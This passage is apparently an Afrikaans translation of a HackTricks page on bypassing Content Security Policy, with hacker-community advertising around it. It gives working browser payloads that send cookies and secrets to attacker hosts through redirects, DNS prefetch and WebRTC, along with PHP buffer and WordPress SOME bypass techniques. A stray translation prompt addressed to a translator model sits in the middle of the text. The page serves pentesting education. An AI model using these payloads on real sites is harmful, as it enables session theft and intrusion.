'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL blootlê.

Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.

Truuk van hier.

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hack-insigte Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied

Nuutste Hack-nuus Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Onveilige Tegnologieë om CSP te omseil

PHP-reaksiebufferoorlading

PHP is bekend vir die buffer van die reaksie tot 4096 grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur genoeg data binne waarskuwings te voorsien, sal die reaksie gestuur word voordat die CSP-kop, wat veroorsaak dat die kop geïgnoreer word. Dan bestaan die tegniek basies daarin om die reaksiebuffer met waarskuwings te vul sodat die CSP-kop nie gestuur word nie.

Idee vanaf hierdie skryfstuk.

Herskryf Foutbladsy

Vanaf hierdie skryfstuk lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik in 'n eindpunt van 'n bladsy om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die kwesbare eindpunt die opener objek in die lading gebruik om die DOM van die werklike eindpunt wat misbruik moet word, te toegang. Vir meer inligting, kyk:

pageSOME - Same Origin Method Execution

Daarbenewens het wordpress 'n JSONP eindpunt in /wp-json/wp/v2/users/1?_jsonp=data wat die data wat in die uitvoer gestuur word, weerspieël (met die beperking van slegs letters, syfers en kolletjies).

'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> in te sluit. Let daarop dat hierdie script sal laai omdat dit toegelaat word deur 'self'. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare terugroep eindpunt wat die CSP omseil om meer voorregte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer... Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interakteer nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.

Location

Jy kan eenvoudig die ligging opdateer om die geheime inligting aan die aanvaller se bediener te stuur:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Voorafskatting

Om bladsye vinniger te laai, gaan webblaaier hostnames vooraf oplos na IP-adresse en hulle vir latere gebruik in die cache stoor. Jy kan 'n webblaaier aandui om 'n hostname vooraf op te los met: <link rel="dns-prefetch" href="iets.com">

Jy kan hierdie gedrag misbruik om gevoelige inligting via DNS-versoeke uit te sif:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Ander manier:

Die volgende is inhoud uit 'n hakboek oor hak tegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hak tegniek name, hak woord, wolk/SaaS platform name (soos Workspace, aws, gcp...), die woord 'leak', pentesting, en markdown etikette vertaal nie. Moet ook nie enige ekstra goed byvoeg buite die vertaling en markdown sintaks nie.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:

X-DNS-Prefetch-Control: off

Blykbaar werk hierdie tegniek nie in headless-browsers (bots)

WebRTC

Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid nagaan van die CSP nie.

Eintlik kan jy inligting lek deur 'n DNS versoek. Kyk na hierdie kode:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

'n Ander opsie:'

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Kontroleer CSP-beleide aanlyn

Skep outomaties CSP

https://csper.io/docs/generating-content-security-policy

Verwysings

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hacking Insights Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied

Real-Time Hack News Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated